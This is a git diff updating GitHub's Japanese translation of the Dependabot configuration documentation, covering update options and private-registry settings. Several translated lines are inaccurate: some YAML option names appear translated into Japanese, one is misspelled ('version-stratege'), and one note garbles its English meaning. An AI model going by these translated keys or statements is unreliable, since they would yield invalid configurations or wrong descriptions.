 
 {% note %}
 
-**Note**: {% data variables.product.prodname_dependabot %} can only run version updates on manifest or lock files if it can access all of the dependencies in the file, even if you add inaccessible dependencies to the `ignore` option of your configuration file. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#allowing-dependabot-to-access-private-dependencies)" and "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors#dependabot-cant-resolve-your-dependency-files)."
+**注釈**: 設定ファイルの `ignore` オプションにアクセス不可の依存関係を追加した場合でも、 ファイルの依存関係のすべてにアクセスできる場合には、{% data variables.product.prodname_dependabot %} は、マニフェストまたはロックされたファイルのみにバージョン更新を実行します。 For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#allowing-dependabot-to-access-private-dependencies)" and "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors#dependabot-cant-resolve-your-dependency-files)."
 
 
 {% endnote %}
 
 ### `insecure-external-code-execution`
 
-Package managers with the `package-ecosystem` values `bundler`, `mix`, and `pip` may execute external code in the manifest as part of the version update process. This might allow a compromised package to steal credentials or gain access to configured registries. When you add a [`registries`](#registries) setting within an `updates` configuration, {% data variables.product.prodname_dependabot %} automatically prevents external code execution, in which case the version update may fail. You can choose to override this behavior and allow external code execution for `bundler`, `mix`, and `pip` package managers by setting `insecure-external-code-execution` to `allow`.
+`package-ecosystem` の値が `bundler`、`mix`、および`pip` であるパッケージマネージャーは、バージョン更新プロセスの一環として間にファスト内の外部コードを実行できます。 これにより、セキュリティが侵害されたパッケージが認証情報を盗んだり、構成済みのレジストリにアクセスしたりすることが可能になる場合もあります。 `updates` 設定内で [`registries`](#registries) を追加すると、{% data variables.product.prodname_dependabot %} は自動的に外部コードの実行を防ぎ、この場合はバージョン更新が失敗することもあります。 この動作をオーバーライドし、`bundler`、`mix`、および `pip` パッケージマネージャーで外部コードの実行を許可するには、`insecure-external-code-execution` を `allow` に設定します。
 
-You can explicitly deny external code execution, irrespective of whether there is a `registries` setting for this update configuration, by setting `insecure-external-code-execution` to `deny`.
+`insecure-external-code-execution` を `deny` に設定することで、この更新設定に `registries` 設定があるかどうかにかかわらず、明示的に外部コードの実行を拒否できます。
 
 {% raw %}
 ```yaml
@@ -376,34 +376,32 @@ updates:
 
 {% data reusables.dependabot.default-labels %}
 
-Use `labels` to override the default labels and specify alternative labels for all pull requests raised for a package manager. If any of these labels is not defined in the repository, it is ignored.
-To disable all labels, including the default labels, use `labels: [ ]`.
+`labels` を使用してデフォルトのラベルを上書きし、パッケージマネージャーに対して発行されたすべてのプルリクエストに代替のラベルを指定します。 これらのラベルのいずれかがリポジトリで定義されていない場合は無視されます。 デフォルトのラベルを含むすべてのラベルを無効にするには、`labels: [ ]` を使用します。
 
 {% data reusables.dependabot.option-affects-security-updates %}
 
 ```yaml
-# Specify labels for pull requests
-
+# プルリクエストのラベルを指定する
 version: 2
 updates:
   - package-ecosystem: "npm"
     directory: "/"
     schedule:
       interval: "daily"
-    # Specify labels for npm pull requests
+    # npm プルリクエストのラベルを指定する
     labels:
       - "npm"
       - "dependencies"
 ```
 
-### `milestone`
+### `マイルストーン`
 
-Use `milestone` to associate all pull requests raised for a package manager with a milestone. You need to specify the numeric identifier of the milestone and not its label. If you view a milestone, the final part of the page URL, after `milestone`, is the identifier. For example: `https://github.com/<org>/<repo>/milestone/3`.
+`milestone` を使用して、パッケージマネージャーに対して発行されたすべてのプルリクエストをマイルストーンに関連付けます。 ラベルではなくマイルストーンの数値識別子を指定する必要があります。 マイルストーンを表示する場合、`milestone` の後の、ページ URL の最後の部分が識別子になります。 たとえば、`https://github.com/<org>/<repo>/milestone/3` などです。
 
 {% data reusables.dependabot.option-affects-security-updates %}
 
 ```yaml
-# Specify a milestone for pull requests
+# プルリクエストのマイルストーンを指定する
 
 version: 2
 updates:
@@ -411,15 +409,15 @@ updates:
     directory: "/"
     schedule:
       interval: "daily"
-    # Associate pull requests with milestone "4"
+    # プルリクエストをマイルストーン「4」に関連付ける
     milestone: 4
 ```
 
 ### `open-pull-requests-limit`
 
-By default, {% data variables.product.prodname_dependabot %} opens a maximum of five pull requests for version updates. Once there are five open pull requests, new requests are blocked until you merge or close some of the open requests, after which new pull requests can be opened on subsequent updates. Use `open-pull-requests-limit` to change this limit. This also provides a simple way to temporarily disable version updates for a package manager.
+デフォルトでは、{% data variables.product.prodname_dependabot %} は、バージョン更新に対して最大 5 つのプルリクエストをオープンします。 5 つのプルリクエストがオープンになると、オープンになっているリクエストの一部をマージまたはクローズするまで、新しいリクエストはブロックされます。オープンになっているリクエストの一部をマージまたはクローズしたら、その後の更新で新しいプルリクエストを開くことができます。 この制限を変更するには、`open-pull-requests-limit` を使用します。 これは、パッケージマネージャーのバージョン更新を一時的に無効にする簡単な方法としても使用できます。
 
-This option has no impact on security updates, which have a separate, internal limit of ten open pull requests.
+このオプションはセキュリティアップデートに影響を与えません。セキュリティアップデートには、10 件のオープンプルリクエストの内部制限があります。
 
 ```yaml
 # Specify the number of open pull requests allowed
@@ -443,9 +441,9 @@ updates:
 
 ### `pull-request-branch-name.separator`
 
-{% data variables.product.prodname_dependabot %} generates a branch for each pull request. Each branch name includes `dependabot`, and the package manager and dependency that are updated. By default, these parts are separated by a `/` symbol, for example: `dependabot/npm_and_yarn/next_js/acorn-6.4.1`.
+{% data variables.product.prodname_dependabot %} は、プルリクエストごとにブランチを生成します。 各ブランチ名には、`dependabot` および更新されたパッケージマネージャーと依存関係が含まれます。 デフォルトでは、これらの部分は `/` 記号で区切られています。たとえば、`dependabot/npm_and_yarn/next_js/acorn-6.4.1` のような形です。
 
-Use `pull-request-branch-name.separator` to specify a different separator. This can be one of: `"-"`, `_` or `/`. The hyphen symbol must be quoted because otherwise it's interpreted as starting an empty YAML list.
+別の区切り文字を指定するには、 `pull-request-branch-name.separator` を使用します。 `"-"`、`_`、`/` などが使用できます。 ハイフン記号は、引用符で囲む必要があります。囲まない場合、空の YAML リストを開始すると解釈されます。
 
 {% data reusables.dependabot.option-affects-security-updates %}
 
@@ -466,12 +464,12 @@ updates:
 
 ### `rebase-strategy`
 
-By default, {% data variables.product.prodname_dependabot %} automatically rebases open pull requests when it detects any changes to the pull request. Use `rebase-strategy` to disable this behavior.
+デフォルトでは、{% data variables.product.prodname_dependabot %}はオープンなPull Requestへの変更を検出すると、そのPull Requestを自動的にリベースします。 この動作を無効にするには、`rebase-strategy` を使用します。
 
-Available rebase strategies
+利用可能なリベース戦略
 
-- `disabled` to disable automatic rebasing.
-- `auto` to use the default behavior and rebase open pull requests when changes are detected.
+- `disabled` で自動リベースを無効にします。
+- `auto` でデフォルトの動作を使用し、変更が検出されたときにオープンなPull Requestをリベースします。
 
 {% data reusables.dependabot.option-affects-security-updates %}
 
@@ -490,9 +488,9 @@ updates:
 
 ### `registries`
 
-To allow {% data variables.product.prodname_dependabot %} to access a private package registry when performing a version update, you must include a `registries` setting within the relevant `updates` configuration. You can allow all of the defined registries to be used by setting `registries` to `"*"`. Alternatively, you can list the registries that the update can use. To do this, use the name of the registry as defined in the top-level `registries` section of the _dependabot.yml_ file. 
+バージョン更新の実行時に {% data variables.product.prodname_dependabot %} がプライベートパッケージレジストリにアクセスできるようにするには、関係する `updates` 設定に `registries` 設定を含める必要があります。 `registries` を `"*"` に設定することで、定義されたリポジトリをすべて使用できるようにすることができます。 また、更新が使用できるレジストリをリストすることもできます。 これを行うには、_dependabot.yml_ ファイルの最上位の `registries` セクションで定義されているレジストリの名前を使用します。
 
-To allow {% data variables.product.prodname_dependabot %} to use `bundler`, `mix`, and `pip` package managers to update dependencies in private registries, you can choose to allow external code execution. For more information, see [`insecure-external-code-execution`](#insecure-external-code-execution).
+{% data variables.product.prodname_dependabot %} が `bundler`、`mix`、および `pip` パッケージマネージャーを使用してプライベートレジストリの依存関係を更新できるようにするため、外部コードの実行を許可できます。 詳しい情報については、[`insecure-external-code-execution`](#insecure-external-code-execution) を参照してください。
 
 ```yaml
 # Allow {% data variables.product.prodname_dependabot %} to use one of the two defined private registries 
@@ -523,12 +521,12 @@ updates:
 
 ### `reviewers`
 
-Use `reviewers` to specify individual reviewers or teams of reviewers for all pull requests raised for a package manager. You must use the full team name, including the organization, as if you were @mentioning the team.
+`reviewers` を使用して、パッケージマネージャーに対して発行されたすべてのプルリクエストの個々のレビュー担当者またはレビュー担当者の Team を指定します。 チームを@メンションしている場合と同様に、Organization を含む完全な Team 名を使用する必要があります。
 
 {% data reusables.dependabot.option-affects-security-updates %}
 
 ```yaml
-# Specify reviewers for pull requests
+# プルリクエストのレビュー担当者を指定する
 
 version: 2
 updates:
@@ -536,7 +534,7 @@ updates:
     directory: "/"
     schedule:
       interval: "daily"
-    # Add reviewers
+    # レビュー担当者を追加する
     reviewers:
       - "octocat"
       - "my-username"
@@ -545,9 +543,9 @@ updates:
 
 ### `schedule.day`
 
-When you set a `weekly` update schedule, by default, {% data variables.product.prodname_dependabot %} checks for new versions on Monday at a random set time for the repository. Use `schedule.day` to specify an alternative day to check for updates.
+When you set a `weekly` update schedule, by default, {% data variables.product.prodname_dependabot %} checks for new versions on Monday at a random set time for the repository. `schedule.day` を使用して、更新をチェックする代替日を指定します。
 
-Supported values
+サポートされている値
 
 - `monday`
 - `tuesday`
@@ -558,7 +556,7 @@ Supported values
 - `sunday`
 
 ```yaml
-# Specify the day for weekly checks
+# 週次のチェック日を指定する
 
 version: 2
 updates:
@@ -566,32 +564,32 @@ updates:
     directory: "/"
     schedule:
       interval: "weekly"
-      # Check for npm updates on Sundays
+      # 毎週日曜日に npm の更新をチェックする
       day: "sunday"
 ```
 
 ### `schedule.time`
 
-By default, {% data variables.product.prodname_dependabot %} checks for new versions at a random set time for the repository. Use `schedule.time` to specify an alternative time of day to check for updates (format: `hh:mm`).
+By default, {% data variables.product.prodname_dependabot %} checks for new versions at a random set time for the repository. `schedule.time` を使用して、更新をチェックする別の時刻を指定します（形式: `hh:mm`）。
 
 ```yaml
-# Set a time for checks
+# チェックする時刻を設定する
 version: 2
 updates:
   - package-ecosystem: "npm"
     directory: "/"
     schedule:
       interval: "daily"
-      # Check for npm updates at 9am UTC
+      # 午前 9 時 (UTC) に npm の更新をチェックする
       time: "09:00"
 ```
 
 ### `schedule.timezone`
 
-By default, {% data variables.product.prodname_dependabot %} checks for new versions at a random set time for the repository. Use `schedule.timezone` to specify an alternative time zone. The time zone identifier must be from the Time Zone database maintained by [iana](https://www.iana.org/time-zones). For more information, see [List of tz database time zones](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones).
+By default, {% data variables.product.prodname_dependabot %} checks for new versions at a random set time for the repository. 別のタイムゾーンを指定するには、`schedule.timezone` を使用します。 タイムゾーン識別子は、[iana](https://www.iana.org/time-zones) が管理するタイムゾーンデータベースのものである必要があります。 詳しい情報については、[List of tz database time zones](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones) を参照してください。
 
 ```yaml
-# Specify the timezone for checks
+# チェック時のタイムゾーンを指定する
 
 version: 2
 updates:
@@ -600,16 +598,16 @@ updates:
     schedule:
       interval: "daily"
       time: "09:00"
-      # Use Japan Standard Time (UTC +09:00)
+      # 日本標準時 (UTC +09:00) を使用する
       timezone: "Asia/Tokyo"
 ```
 
 ### `target-branch`
 
-By default, {% data variables.product.prodname_dependabot %} checks for manifest files on the default branch and raises pull requests for version updates against this branch. Use `target-branch` to specify a different branch for manifest files and for pull requests. When you use this option, the settings for this package manager will no longer affect any pull requests raised for security updates.
+デフォルトでは、{% data variables.product.prodname_dependabot %} はデフォルトのブランチでマニフェストファイルをチェックし、このブランチに対するバージョン更新のプルリクエストを発行します。 `target-branch` を使用して、マニフェストファイルとプルリクエストに別のブランチを指定します。 このオプションを使用すると、このパッケージマネージャーの設定は、セキュリティアップデートのために発行されたプルリクエストに影響しなくなります。
 
 ```yaml
-# Specify a non-default branch for pull requests for pip
+# pip のプルリクエストにデフォルト以外のブランチを指定する
 
 version: 2
 updates:
@@ -617,10 +615,10 @@ updates:
     directory: "/"
     schedule:
       interval: "daily"
-    # Raise pull requests for version updates
-    # to pip against the `develop` branch
+    # 「develop」ブランチに対して pip する
+    # バージョン更新のプルリクエストを発行する
     target-branch: "develop"
-    # Labels on pull requests for version updates only
+    # バージョン更新のみのプルリクエストのラベル
     labels:
       - "pip dependencies"
 
@@ -628,16 +626,16 @@ updates:
     directory: "/"
     schedule:
       interval: "weekly"
-      # Check for npm updates on Sundays
+      # 毎週日曜日に npm の更新を確認する
       day: "sunday"
-    # Labels on pull requests for security and version updates
+    # セキュリティおよびバージョン更新に対するプルリクエストのラベル
     labels:
       - "npm dependencies"
 ```
 
 ### `vendor`
 
-Use the `vendor` option to tell {% data variables.product.prodname_dependabot %} to vendor dependencies when updating them. Don't use this option if you're using `gomod` as {% data variables.product.prodname_dependabot %} automatically detects vendoring for this tool.
+`vendor` オプションは、依存関係を更新する際に、{% data variables.product.prodname_dependabot %} にベンダリングを指示するために使用します。 `gomod` を使用している場合は、{% data variables.product.prodname_dependabot %} がこのツールに対するベンダリングを自動的に検出するため、このオプションを使用しないでください。
 
 ```yaml
 # Configure version updates for both dependencies defined in manifests and vendored dependencies
@@ -652,34 +650,34 @@ updates:
       interval: "weekly"
 ```
 
-{% data variables.product.prodname_dependabot %} only updates the vendored dependencies located in specific directories in a repository.
+{% data variables.product.prodname_dependabot %} は、リポジトリの特定の場所にあるベンダリングされた依存関係のみを更新します。
 
-| Package manager | Required file path for vendored dependencies | More information |
-  |------------------|-------------------------------|--------|
-  | `bundler` | The dependencies must be in the _vendor/cache_ directory.</br>Other file paths are not supported. | [`bundle cache` documentation](https://bundler.io/man/bundle-cache.1.html) |
-  | `gomod` | No path requirement (dependencies are usually located in the _vendor_ directory) | [`go mod vendor` documentation](https://golang.org/ref/mod#go-mod-vendor) |
+| パッケージマネージャー | ベンダリングされた依存関係のための必須パス                                              | 詳細情報                                                                |
+| ----------- | ------------------------------------------------------------------ | ------------------------------------------------------------------- |
+| `bundler`   | 依存関係は _vendor/cache_ ディレクトリにある必要があります。</br>その他のファイルパスはサポートされていません。 | [`bundle cache` ドキュメント](https://bundler.io/man/bundle-cache.1.html) |
+| `gomod`     | パス要件なし (通常、依存関係は _vendor_ ディレクトリ内に存在)                              | [`go mod vendor` ドキュメント](https://golang.org/ref/mod#go-mod-vendor)  |
 
 
 ### `versioning-strategy`
 
-When {% data variables.product.prodname_dependabot %} edits a manifest file to update a version, it uses the following overall strategies:
+{% data variables.product.prodname_dependabot %} がマニフェストファイルを編集してバージョンを更新する場合、次の全体的な戦略を使用します。
 
-- For apps, the version requirements are increased, for example: npm, pip and Composer.
-- For libraries, the range of versions is widened, for example: Bundler and Cargo.
+- アプリケーションでは、バージョン要件が増えます（npm、pip、Composer など）。
+- ライブラリでは、バージョンの範囲が広がります（Bundler や Cargo など）。
 
-Use the `versioning-strategy` option to change this behavior for supported package managers.
+サポートされているパッケージマネージャーでこの動作を変更するには、`version-stratege` オプションを使用します。
 
 {% data reusables.dependabot.option-affects-security-updates %}
 
-Available update strategies
+利用可能な更新戦略
 
-| Option | Supported by | Action |
-|--------|--------------|--------|
-| `lockfile-only` | `bundler`, `cargo`, `composer`, `mix`, `npm`, `pip` | Only create pull requests to update lockfiles. Ignore any new versions that would require package manifest changes. |
-| `auto` | `bundler`, `cargo`, `composer`, `mix`, `npm`, `pip` | Follow the default strategy described above.|
-| `widen`| `composer`, `npm` | Relax the version requirement to include both the new and old version, when possible. |
-| `increase`| `bundler`, `composer`, `npm` | Always increase the version requirement to match the new version. |
-| `increase-if-necessary` | `bundler`, `composer`, `npm` | Increase the version requirement only when required by the new version. |
+| オプション                   | サポート                                           | アクション                                                            |
+| ----------------------- | ---------------------------------------------- | ---------------------------------------------------------------- |
+| `lockfile-only`         | `bundler`、`cargo`、`composer`、`mix`、`npm`、`pip` | ロックファイルを更新するプルリクエストのみを作成します。 パッケージマニフェストの変更が必要になる新しいバージョンは無視します。 |
+| `auto`                  | `bundler`、`cargo`、`composer`、`mix`、`npm`、`pip` | 前述のデフォルトの戦略に従います。                                                |
+| `widen`                 | `composer`、`npm`                               | 可能であれば、バージョン要件を緩和して、新旧両方のバージョンを含めます。                             |
+| `increase`              | `bundler`、`composer`、`npm`                     | 新しいバージョンに一致するように、常にバージョン要件を増やします。                                |
+| `increase-if-necessary` | `bundler`、`composer`、`npm`                     | 新しいバージョンで必要な場合にのみ、バージョン要件を増やします。                                 |
 
 ```yaml
 # Customize the manifest version strategy
@@ -711,21 +709,21 @@ updates:
     versioning-strategy: lockfile-only
 ```
 
-## Configuration options for private registries
+## プライベートレジストリの設定オプション
 
-The top-level `registries` key is optional. It allows you to specify authentication details that {% data variables.product.prodname_dependabot %} can use to access private package registries. 
+最上位の `registries` キーはオプションです。 このキーでは、{% data variables.product.prodname_dependabot %} がプライベートパッケージレジストリにアクセスするために使用する認証の詳細を指定できます。
 
 {% note %}
 
-**Note:** Private registries behind firewalls on private networks are not supported.
+**注釈:** プライベートネットワークにあるファイアーウォールの内側のプライベートレジストリはサポートされていません。
 
 {% endnote %}
 
-The value of the `registries` key is an associative array, each element of which consists of a key that identifies a particular registry and a value which is an associative array that specifies the settings required to access that registry. The following *dependabot.yml* file, configures a registry identified as `dockerhub` in the `registries` section of the file and then references this in the `updates` section of the file.
+`registries` キーの値は連想配列で、その各要素は、特定のレジストリを指定するキーと、そのレジストリへのアクセスに必要となる設定を指定する連想配列の値により構成されます。 以下の *dependabot.yml* ファイルでは、ファイルの `registries` セクションで `dockerhub` として指定されたレジストリを設定し、次にファイルの `dockerhub` でそれを参照しています。
 
 {% raw %}
 ```yaml
-# Minimal settings to update dependencies in one private registry
+# 1つのプライベートリポジトリで依存関係を更新するための最低限の設定
 
 version: 2
 registries:
@@ -744,24 +742,24 @@ updates:
 ```
 {% endraw %}
 
-You use the following options to specify access settings. Registry settings must contain a `type` and a `url`, and typically either a `username` and `password` combination or a `token`.
+以下のオプションを使用して、アクセス設定を指定します。 レジストリ設定には `type` と `url`、そして通常は `username` と `password` の組み合わせか `token` を含める必要があります。
 
-| Option&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | Description |
-|:---|:---|
-| `type`                     | Identifies the type of registry. See the full list of types below. |
-| `url`                      | The URL to use to access the dependencies in this registry. The protocol is optional. If not specified, `https://` is assumed. {% data variables.product.prodname_dependabot %} adds or ignores trailing slashes as required. |
-| `username`                 | The username that {% data variables.product.prodname_dependabot %} uses to access the registry. |
-| `password`                 | A reference to a {% data variables.product.prodname_dependabot %} secret containing the password for the specified user. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)." |
-| `key`                    | A reference to a {% data variables.product.prodname_dependabot %} secret containing an access key for this registry. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)." |
-| `token`                    | A reference to a {% data variables.product.prodname_dependabot %} secret containing an access token for this registry. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)." |
-| `replaces-base`            | For registries with `type: python-index`, if the boolean value is `true`, pip resolves dependencies by using the specified URL rather than the base URL of the Python Package Index (by default `https://pypi.org/simple`). |
+| オプション           | 説明                                                                                                                                                                                                                                                                                             |
+|:--------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `type`          | レジストリのタイプを指定します。 タイプの一覧については下記をご覧ください。                                                                                                                                                                                                                                                         |
+| `url`           | このレジストリの依存関係にアクセスするために使用する URL。 プロトコルはオプションです。 指定しない場合には、`https://` が使用されます。 {% data variables.product.prodname_dependabot %} が必要に応じて末尾のスラッシュを追加または無視します。                                                                                                                                      |
+| `ユーザ名`          | {% data variables.product.prodname_dependabot %} がレジストリにアクセスするために使用するユーザ名。                                                                                                                                                                                                                     |
+| `パスワード`         | 指定したユーザのパスワードを含む {% data variables.product.prodname_dependabot %} シークレットへのリファレンス。 For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)."     |
+| `key`           | このレジストリへのアクセスキーを含む{% data variables.product.prodname_dependabot %}シークレットへの参照 For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)."          |
+| `トークン`          | このレジストリへのアクセストークンを含む {% data variables.product.prodname_dependabot %} シークレットへのリファレンス。 For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)." |
+| `replaces-base` | `type: python-index` となっているレジストリで、ブール値が `true` の場合、pip は、Python Package Index のベース URL (デフォルトでは `https://pypi.org/simple`) ではなく指定された URL を使用して依存関係を解決します。                                                                                                                                      |
 
 
-Each configuration `type` requires you to provide particular settings. Some types allow more than one way to connect. The following sections provide details of the settings you should use for each `type`.
+各設定 `type` には、特定の設定を指定する必要があります。 タイプによっては、複数の接続方法を使用できます。 以下のセクションで、各 `type` に使用する設定の詳細を説明します。
 
-### `composer-repository` 
+### `composer-repository`
 
-The `composer-repository` type supports username and password.
+`composer-repository` タイプは、ユーザ名とパスワードをサポートします。
 
 {% raw %}
 ```yaml
@@ -774,9 +772,9 @@ registries:
 ```
 {% endraw %}
 
-### `docker-registry` 
+### `docker-registry`
 
-The `docker-registry` type supports username and password.
+`docker-registry` タイプは、ユーザ名とパスワードをサポートします。
 
 {% raw %}
 ```yaml
@@ -789,7 +787,7 @@ registries:
 ```
 {% endraw %}
 
-The `docker-registry` type can also be used to pull from Amazon ECR using static AWS credentials.
+`docker-registry`タイプは、静的なAWSの認証情報を使ってAmazon ECRからプルするためにも利用できます。
 
 {% raw %}
 ```yaml
@@ -802,9 +800,9 @@ registries:
 ```
 {% endraw %}
 
-### `git` 
+### `git`
 
-The `git` type supports username and password.
+`git` タイプは、ユーザ名とパスワードをサポートします。
 
 {% raw %}
 ```yaml
@@ -817,9 +815,9 @@ registries:
 ```
 {% endraw %}
 
-### `hex-organization` 
+### `hex-organization`
 
-The `hex-organization` type supports organization and key.
+`hex-organization`タイプは、Organizationとキーをサポートします。
 
 {% raw %}
 ```yaml
@@ -848,7 +846,7 @@ registries:
 
 ### `npm-registry`
 
-The `npm-registry` type supports username and password, or token.
+`npm-registry` タイプは、ユーザ名とパスワード、またはトークンをサポートします。
 
 When using username and password, your `.npmrc`'s auth token may contain a `base64` encoded `_password`; however, the password referenced in your {% data variables.product.prodname_dependabot %} configuration file must be the original (unencoded) password.
 
@@ -873,9 +871,9 @@ registries:
 ```
 {% endraw %}
 
-### `nuget-feed` 
+### `nuget-feed`
 
-The `nuget-feed` type supports username and password, or token.
+`nuget-feed` タイプは、ユーザ名とパスワード、またはトークンをサポートします。
 
 {% raw %}
 ```yaml
@@ -898,9 +896,9 @@ registries:
 ```
 {% endraw %}
 
-### `python-index` 
+### `python-index`
 
-The `python-index` type supports username and password, or token.
+`python-index` タイプは、ユーザ名とパスワード、またはトークンをサポートします。
 
 {% raw %}
 ```yaml
@@ -927,7 +925,7 @@ registries:
 
 ### `rubygems-server`
 
-The `rubygems-server` type supports username and password, or token.
+`rubygems-server` タイプは、ユーザ名とパスワード、またはトークンをサポートします。
 
 {% raw %}
 ```yaml
@@ -952,7 +950,7 @@ registries:
 
 ### `terraform-registry`
 
-The `terraform-registry` type supports a token.
+`terraform-registry`タイプはトークンをサポートします。
 
 {% raw %}
 ```yaml
diff --git a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md
index 1312ef64f1..367a0af3e7 100644
--- a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md
+++ b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md
@@ -32,7 +32,7 @@ When your code depends on a package that has a security vulnerability, this vuln
 
 {% data reusables.dependabot.dependabot-alerts-beta %}
 
-{% data variables.product.prodname_dependabot %} detects vulnerable dependencies and sends {% data variables.product.prodname_dependabot_alerts %} when:
+{% data variables.product.prodname_dependabot %} performs a scan to detect vulnerable dependencies and sends {% data variables.product.prodname_dependabot_alerts %} when:
 
 {% ifversion fpt or ghec %}
 - A new vulnerability is added to the {% data variables.product.prodname_advisory_database %}. For more information, see "[Browsing security vulnerabilities in the {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database)" and "[About {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)."{% else %}
diff --git a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md
index b283a4b5e0..aa02dff06e 100644
--- a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md
+++ b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md
@@ -1,7 +1,7 @@
 ---
-title: About Dependabot security updates
-intro: '{% data variables.product.prodname_dependabot %} can fix vulnerable dependencies for you by raising pull requests with security updates.'
-shortTitle: Dependabot security updates
+title: Dependabot のセキュリティアップデート
+intro: '{% data variables.product.prodname_dependabot %} は、セキュリティアップデートプログラムを使用してプルリクエストを発行することにより、脆弱性のある依存関係を修正できます。'
+shortTitle: Dependabotセキュリティアップデート
 redirect_from:
   - /github/managing-security-vulnerabilities/about-github-dependabot-security-updates
   - /github/managing-security-vulnerabilities/about-dependabot-security-updates
@@ -25,42 +25,42 @@ topics:
 {% data reusables.dependabot.beta-security-and-version-updates %}
 {% data reusables.dependabot.enterprise-enable-dependabot %}
 
-## About {% data variables.product.prodname_dependabot_security_updates %}
+## {% data variables.product.prodname_dependabot_security_updates %} について
 
-{% data variables.product.prodname_dependabot_security_updates %} make it easier for you to fix vulnerable dependencies in your repository. If you enable this feature, when a {% data variables.product.prodname_dependabot %} alert is raised for a vulnerable dependency in the dependency graph of your repository, {% data variables.product.prodname_dependabot %} automatically tries to fix it. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)."
+{% data variables.product.prodname_dependabot_security_updates %} で、リポジトリ内の脆弱性のある依存関係を簡単に修正できます。 この機能を有効にすると、リポジトリの依存関係グラフで脆弱性のある依存関係に対して {% data variables.product.prodname_dependabot %} アラートが発生すると、{% data variables.product.prodname_dependabot %} は自動的にそれを修正しようとします。 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)」 および「[{% data variables.product.prodname_dependabot_security_updates %} を設定する](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)」を参照してください。
 
 {% data variables.product.prodname_dotcom %} may send  {% data variables.product.prodname_dependabot_alerts %} to repositories affected by a vulnerability disclosed by a recently published {% data variables.product.prodname_dotcom %} security advisory. {% data reusables.security-advisory.link-browsing-advisory-db %}
 
-{% data variables.product.prodname_dependabot %} checks whether it's possible to upgrade the vulnerable dependency to a fixed version without disrupting the dependency graph for the repository. Then {% data variables.product.prodname_dependabot %} raises a pull request to update the dependency to the minimum version that includes the patch and links the pull request to the {% data variables.product.prodname_dependabot %} alert, or reports an error on the alert. For more information, see "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)."
+{% data variables.product.prodname_dependabot %} は、リポジトリの依存関係グラフを中断することなく、脆弱性のある依存関係を修正バージョンにアップグレードできるかどうかを確認します。 次に、 {% data variables.product.prodname_dependabot %} はプルリクエストを発生させて、パッチを含む最小バージョンに依存関係を更新し、プルリクエストを {% data variables.product.prodname_dependabot %} アラートにリンクするか、アラートのエラーを報告します。 詳しい情報については、「[{% data variables.product.prodname_dependabot %} エラーのトラブルシューティング](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)」を参照してください。
 
 {% note %}
 
-**Note**
+**注釈**
 
-The {% data variables.product.prodname_dependabot_security_updates %} feature is available for repositories where you have enabled the dependency graph and {% data variables.product.prodname_dependabot_alerts %}. You will see a {% data variables.product.prodname_dependabot %} alert for every vulnerable dependency identified in your full dependency graph. However, security updates are triggered only for dependencies that are specified in a manifest or lock file. {% data variables.product.prodname_dependabot %} is unable to update an indirect or transitive dependency that is not explicitly defined. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#dependencies-included)."
